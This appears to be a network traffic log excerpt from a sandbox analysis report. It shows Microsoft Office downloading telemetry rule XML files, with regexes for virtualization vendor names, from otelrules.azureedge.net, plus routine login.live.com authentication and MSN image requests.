2024-11-24 22:24:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:49 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:49 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 907655e5-001e-0065-594b-3c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222449Z-15b8b599d88pxmdghC1TEBux9c000000054000000000e3w0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:50 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:49 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:49 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: ce4e00c6-401e-00a3-3516-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222449Z-178bfbc474bnwsh4hC1NYC2ubs00000006r0000000004fkr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:50 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:49 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222449Z-174c587ffdfmlsmvhC1TEBvyks000000056g00000000ay74 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:50 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:50 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: ad7559e0-001e-0014-2851-3e5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222450Z-15b8b599d889fz52hC1TEB59as000000053g000000003n8q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49892	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:51 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-24 22:24:51 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 22:24:52 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 22:23:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: b805df2b-8448-41aa-8472-63014765d09f PPServer: PPV: 30 H: SN1PEPF0002F9A2 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 22:24:52 GMT Connection: close Content-Length: 1918
2024-11-24 22:24:52 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49897	104.117.182.56	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:51 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:52 UTC	547	IN	HTTP/1.1 200 OK Last-Modified: Sat, 16 Nov 2024 01:10:29 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=364852 Expires: Fri, 29 Nov 2024 03:45:44 GMT Date: Sun, 24 Nov 2024 22:24:52 GMT Connection: close
2024-11-24 22:24:52 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:51 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:52 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:52 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8a5d0632-c01e-0046-08fc-3d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222452Z-178bfbc474bxkclvhC1NYC69g400000006eg00000000f92n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 22:24:52 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:51 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:52 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: ba3f3383-a01e-000d-6e55-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222452Z-15b8b599d88tmlzshC1TEB4xpn00000004yg000000009msk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:52 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:51 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:52 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 753d71cc-101e-0065-41b6-3e4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222452Z-178bfbc474bvjk8shC1NYC83ns00000006e0000000009z2h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:52 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:51 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:52 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 352ee399-f01e-0052-6b36-3d9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222452Z-174c587ffdfb485jhC1TEBmc1s00000004s000000000sh7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:52 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:52 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
